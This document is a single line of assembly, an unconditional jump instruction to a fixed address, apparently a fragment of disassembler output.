jmp 0x140008e70